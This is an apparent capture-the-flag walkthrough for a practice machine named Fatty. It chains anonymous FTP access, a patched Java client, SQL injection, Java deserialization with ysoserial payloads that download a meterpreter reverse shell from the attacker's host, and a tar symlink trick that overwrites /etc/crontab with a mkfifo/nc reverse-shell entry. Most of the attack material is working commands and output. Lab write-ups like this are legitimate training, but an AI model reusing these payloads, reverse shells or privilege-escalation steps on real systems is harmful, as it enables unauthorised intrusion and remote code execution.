Box enumeration

  1. Ports opened:
nmap -sC -sV -A -T5 -Pn -oN nmap 10.10.10.174
Nmap 7.80 scan initiated Sat Feb  8 20:06:13 2020 as: nmap -sC -sV -A -T5 -Pn -oN nmap 10.10.10.174
Warning: 10.10.10.174 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.174
Host is up (0.050s latency).
Not shown: 990 closed ports
PORT     STATE    SERVICE         VERSION
21/tcp   open     ftp             vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp      15426727 Oct 30 12:10 fatty-client.jar
| -rw-r--r--    1 ftp      ftp           526 Oct 30 12:10 note.txt
| -rw-r--r--    1 ftp      ftp           426 Oct 30 12:10 note2.txt
|_-rw-r--r--    1 ftp      ftp           194 Oct 30 12:10 note3.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.26
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open     ssh             OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:c5:61:ba:bd:a3:e2:26:58:20:45:69:a7:58:35:08 (RSA)
|_  256 4a:a8:aa:c6:5f:10:f0:71:8a:59:c5:3e:5f:b9:32:f7 (ED25519)
280/tcp  filtered http-mgmt
667/tcp  filtered disclose
1086/tcp filtered cplscrambler-lg
1166/tcp filtered qsm-remote
3784/tcp filtered bfd-control
8031/tcp filtered unknown
8994/tcp filtered unknown
9998/tcp filtered distinct32
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb  8 20:06:33 2020 -- 1 IP address (1 host up) scanned in 19.67 seconds
  1. FTP has anonymous access:
ftp 10.10.10.174
Connected to 10.10.10.174.
220 qtc's development server
Name (10.10.10.174:root): ftp
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp      15426727 Oct 30 12:10 fatty-client.jar
-rw-r--r--    1 ftp      ftp           526 Oct 30 12:10 note.txt
-rw-r--r--    1 ftp      ftp           426 Oct 30 12:10 note2.txt
-rw-r--r--    1 ftp      ftp           194 Oct 30 12:10 note3.txt
226 Directory send OK.
ftp>
  1. From notes we can get information about high ports that are used for fatty-client.jar.

Modifying the Java client

  1. Edit bean.xml and replace port 8080 with one from high ports discovered.

  2. To fix issue with signature changed remove the signature files completely:

  • 1.RSA
  • 1.SF
  1. Add server.fatty.htb to /etc/hosts and you should be able to connect with qtc credentials.

  2. Client is very limited and only shows some mail, notes, and few configuration files. All of them in some chrooted environment with no option to get to upper folders.

  3. After examining client code it’s obvious that all mail, file, etc menu option uses predefined currentFolder. We may either modify any existing (simple) or add custom menu to get upper folder content:

	public ClientGuiTest() {
		...
		// Create a new menu
		final JMenuItem upperFolder = new JMenuItem("upperFolder");
		upperFolder.setEnabled(false);
		fileBrowser.add(upperFolder);

		...

		btnNewButton.addActionListener(new ActionListener() {
	 		...
		   	if (ClientGuiTest.this.conn.login(ClientGuiTest.this.user)) {
		   		...
		   		// Enable a new menu
		   		upperFolder.setEnabled(true);
		   		....
		   	}
		});
	   	...
	   	// Listener for new menu
	    upperFolder.addActionListener(new ActionListener() {
	      public void actionPerformed(ActionEvent e) {
	        String response = "";
	        ClientGuiTest.this.currentFolder = "..";
	        try {
	          response = ClientGuiTest.this.invoker.showFiles(ClientGuiTest.this.currentFolder);
	        } catch (MessageBuildException | htb.fatty.shared.message.MessageParseException e1) {
	          JOptionPane.showMessageDialog(controlPanel, "Failure during upperFolder building/parsing.", "Error", 0);
	        } catch (IOException e2) {
	          JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
	        }
	        textPane.setText(response);
	      }
	    });
  1. That allowed us to discover following content:
logs
tar
start.sh
fatty-server.jar
files
  1. We can read text files with client, but any binary file will make it die. Let’s modify client once again to save all files to /tmp/ instead of displaying it:
  • Invoker.java:
  public byte[] open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
    ...
    byte[] response;
    ...
  }
  • ClientGuiTest.java:
    openFileButton.addActionListener(new ActionListener() {
      public void actionPerformed(ActionEvent e) {
        if (ClientGuiTest.this.currentFolder == null) {
          JOptionPane.showMessageDialog(controlPanel, "No folder selected! List a directory first!", "Error", 0);

          return;
        }

        byte[] response = new byte[0];
        String fileName = ClientGuiTest.this.fileTextField.getText();
        fileName.replaceAll("[^a-zA-Z0-9.]", "");
        try {
          response = ClientGuiTest.this.invoker.open(ClientGuiTest.this.currentFolder, fileName);

          OutputStream outputStream = new FileOutputStream("/tmp/" + fileName);
          outputStream.write(response);
          outputStream.close();
        } catch (MessageBuildException | htb.fatty.shared.message.MessageParseException e1) {
          JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
        } catch (IOException e2) {
          JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
        }

        textPane.setText("Wrote file content to /tmp/" + fileName);
      }
    });
  1. Downloaded fatty-server.jar.

fatty-server

  1. In FattyDBSession.java we may notice insecure SQL execution:
  public User checkLogin(User user) throws FattyDbSession.LoginException {
    Statement stmt = null;
    ResultSet rs = null;
    User newUser = null;

    try {
      stmt = this.conn.createStatement();
      rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
  1. We have control on supplied username we can trigger SQLi to escalate qtc to have admin privileges.

  2. However this will fail with bad credentials error. Let’s review Java client again.

  3. In User.java we found that username is not plaintext:

String hashString = this.username + password + "clarabibimakeseverythingsecure";
  1. Is it a hash of username and a password. The hash won’t match on a server because we are sending SQLi string instead of username.

  2. Update User.java to hardcoded qtc in username and try again:

String hashString = "qtc" + password + "clarabibimakeseverythingsecure";
  1. And we are admin now!

  2. Back to client/server code and one may notice that User class is Serializable and uses that during password change:

  public static String changePW(ArrayList<String> args, User user) {
    logger.logInfo("[+] Method 'changePW' was called.");
    int methodID = 7;
    if (!user.getRole().isAllowed(methodID)) {
      logger.logError("[+] Access denied. Method with id '" + methodID + "' was called by user '" + user.getUsername() + "' with role '" + user.getRoleName() + "'.");
      return "Error: Method 'changePW' is not allowed for this user account";
    } else {
      String response = "";
      String b64User = (String)args.get(0);
      byte[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());
      ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);

      try {
        ObjectInputStream oIn = new ObjectInputStream(bIn);
        User var8 = (User)oIn.readObject();
      } catch (Exception var9) {
        var9.printStackTrace();
        response = response + "Error: Failure while recovering the User object.";
        return response;
      }

      response = response + "Info: Your call was successful, but the method is not fully implemented yet.";
      return response;
    }
  }
  1. The same method is not implemented on client and we need to do that ourself. Prepare payloads using yoserial tool:
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'wget http://10.10.14.51/rshell' | base64 -w 0
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'chmod +x ./rshell' | base64 -w 0
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'nohup ./rshell &' | base64 -w 0
  1. Update Java client with generated payloads in order:
  public String changePW(String username, String newPassword) throws MessageParseException, MessageBuildException, IOException {

    String[] payloads = new String[3];
    payloads[0] = "rO0ABXNyAC5qYXZh...AAAAAAAAAdwgAAAAQAAAAAHh4";
    payloads[1] = "rO0ABXNyAC5qYXZ...AAAAAAAAB3CAAAABAAAAAAeHg=";
    payloads[2] = "rO0ABXNyAC5qYXZ...9AAAAAAAAAdwgAAAAQAAAAAHh4";

    for (String s: payloads) {
      this.action = new ActionMessage(this.sessionID, "changePW");
      this.action.addArgument(s);
      sendAndRecv();
    }
    if (this.response.hasError()) {
      return "Error: Your action caused an error on the application server!";
    }
    return this.response.getContentAsString();
  }

Foothold

  1. Java client has SQLi that allows to login with admin privileges using these credentials:
username: qtc' UNION SELECT id, username, email, password, 'admin' FROM users ORDER BY role ASC LIMIT 1#
password: clarabibi
  1. Generate payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.51 LPORT=4444 -f elf -o rshell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: rshell
  1. Start multi/handler listener.

  2. Start Python web server to deliver rshell to the box.

  3. Trigger password change event in Java GUI and meterpreter session will open:

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.51:4444
[*] Sending stage (3021284 bytes) to 10.10.10.174
[*] Meterpreter session 1 opened (10.10.14.51:4444 -> 10.10.10.174:37982) at 2020-02-10 23:04:41 +0000

meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 11
============
Name         : eth0
Hardware MAC : 02:42:ac:1c:00:05
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 172.28.0.5
IPv4 Netmask : 255.255.0.0

meterpreter >
  1. Setup route for pivoting:
msf5 exploit(multi/handler) > route add 172.28.0.5 255.255.255.255 1
[*] Route added
msf5 exploit(multi/handler) > route add 172.28.0.1 255.255.255.255 1
[*] Route added
  1. Start auxiliary/server/socks4a, inject custom key to authorized_keys and SSH into the box:
proxychains ssh -i fatty qtc@172.28.0.5
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.28.0.5:22  ...  OK
The authenticity of host '172.28.0.5 (172.28.0.5)' can't be established.
ED25519 key fingerprint is SHA256:NHsveCKmHmSUEgbE9Im/ZbTOTNE3xjsZr6Owadb4QmA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.28.0.5' (ED25519) to the list of known hosts.
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

55e9ce5d0b6b:~$

Getting user flag

  1. By default it has 0-permissions:
55e9ce5d0b6b:~$ ls -al
total 24
drwxr-sr-x    1 qtc      qtc           4096 Feb 10 23:10 .
drwxr-xr-x    1 root     root          4096 Oct 30 11:11 ..
-rw-------    1 qtc      qtc              8 Feb 10 23:10 .ash_history
drwx------    1 qtc      qtc           4096 Oct 30 11:11 .ssh
-rwxr-xr-x    1 qtc      qtc            250 Feb 10 23:05 rshell
----------    1 qtc      qtc             33 Oct 30 11:10 user.txt
55e9ce5d0b6b:~$
  1. Change to read, read the flag, and change back (just in case ;):
55e9ce5d0b6b:~$ chmod +r user.txt; cat user.txt; chmod -r user.txt
7fab2c31fc7173a86872db45ae922073
55e9ce5d0b6b:~$

Further enumeration

  1. On this version of Linux only pspy32s worked:
2020/02/10 23:14:02 CMD: UID=1000 PID=339    | ash -c scp -f /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS:               ACCESS | /usr/bin/scp
2020/02/10 23:14:02 FS:               ACCESS | /usr/bin/scp
2020/02/10 23:14:02 FS:               ACCESS | /usr/bin/scp
2020/02/10 23:14:02 FS:                 OPEN | /etc/passwd
2020/02/10 23:14:02 FS:               ACCESS | /etc/passwd
2020/02/10 23:14:02 FS:               ACCESS | /etc/passwd
2020/02/10 23:14:02 FS:        CLOSE_NOWRITE | /etc/passwd
2020/02/10 23:14:02 FS:                 OPEN | /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS:               ACCESS | /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS:        CLOSE_NOWRITE | /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS:        CLOSE_NOWRITE | /usr/bin/scp
2020/02/10 23:14:02 FS:        CLOSE_NOWRITE | /usr/sbin/sshd
  1. So something is getting tar file from location where we have right to write. Let’s try to inject some payload in it using this technique:
$ tar cf test.tar -P 'opt/fatty/logs/../root/.ssh/authorized_keys'

$ tar tvf test.tar
tar: Removing leading `opt/fatty/logs/../' from member names
-rw-r----- root/root 563 2020-02-11 01:23 opt/fatty/logs/../root/.ssh/authorized_keys
  1. Upload that file on the box and replace /opt/fatty/tar/logs.tar with it

  2. Few tries:

  • Failed #1:
$ sudo find opt/
opt/
opt/fatty
opt/fatty/home
opt/fatty/home/qtc
opt/fatty/home/qtc/.ssh
opt/fatty/home/qtc/.ssh/authorized_keys
opt/fatty/logs
opt/fatty/root
opt/fatty/root/.ssh
opt/fatty/root/.ssh/authorized_keys

$ sudo tar cf test.tar --numeric-owner -P 'opt/fatty/logs/../root/.ssh/authorized_keys' 'opt/fatty/logs/../home/qtc/.ssh/authorized_keys'
  • Failed #2:
$ sudo tar cf test.tar --numeric-owner -P opt/fatty/logs opt/fatty/logs/../../../home/qtc/.ssh/authorized_keys opt/fatty/logs/../../../root/.ssh/authorized_keys
$ tar tvf test.tar
drwxr-x--- 1000/1000         0 2020-02-11 01:54 opt/fatty/logs/
-rw-r----- 1000/1000         0 2020-02-11 01:53 opt/fatty/logs/error-log.txt
-rw-r----- 1000/1000         0 2020-02-11 01:54 opt/fatty/logs/info-log.txt
tar: Removing leading `opt/fatty/logs/../../../' from member names
-rw-r----- 1000/1000       563 2020-02-11 01:23 opt/fatty/logs/../../../home/qtc/.ssh/authorized_keys
-rw-r----- 0/0             563 2020-02-11 01:23 opt/fatty/logs/../../../root/.ssh/authorized_keys
  • Failed #3:
$ sudo tar cf test.tar --numeric-owner -P opt/fatty/logs/error-log.txt/../root/.ssh/authorized_keys opt/fatty/logs/info-log.txt/../home/qtc/.ssh/authorized_keys

Getting root

  1. Another approach:
  • symlinked file logs.tar to /etc/crontab. tar it and let it grab
  • Replaced logs.tar with symlink to crafted crontab
  1. Preparing:
  • Create tar file with just symlink pointer:
$ tar tvf logs1.tar
lrwxrwxrwx root/root   0 2020-02-12 18:07 logs.tar -> /etc/crontab
  • Have plain-text contained only crontab entries:
$ cat logs2.tar                                                                                          
# /etc/crontab: system-wide crontab                                                                                  
# Unlike any other crontab you don't have to run the `crontab'   
# command to install the new version when you edit this file         
# and files in /etc/cron.d. These files also have username fields,   
# that none of the other crontabs do.                                                                                

SHELL=/bin/sh                                                                                                        
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command                                                                                      
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#                                                                                                                    
*  *    * * *   root    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.51 6666 >/tmp/f
*  *    * * *   root    ping -c 100 10.10.14.51                                                                      
*  *    * * *   root    wget http://10.10.14.51/boobar
  1. Create a listener on port 6666 with -k switch to avoid disconnection during repeating connection:
$ nc -lnvkp 6666
  1. Upload both logs1.tar and logs2.tar files on the docker.

  2. Replace /opt/fatty/tar/logs.tar with logs1.tar and watch with pspy32s -f it reads and closes /opt/fatty/tar/logs.tar

  3. Replace /opt/fatty/tar/logs.tar with logs2.tar and watch with pspy32s -f it reads and closes /opt/fatty/tar/logs.tar

  4. Reverse shell should come up in a couple of minutes:

nc -lnvk 6666
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 10.10.10.174.
Ncat: Connection from 10.10.10.174:56052.
/bin/sh: 0: can't access tty; job control turned off
cd /root
cat root.txt
ee982fa19b413415391ed4a17b2bd9c7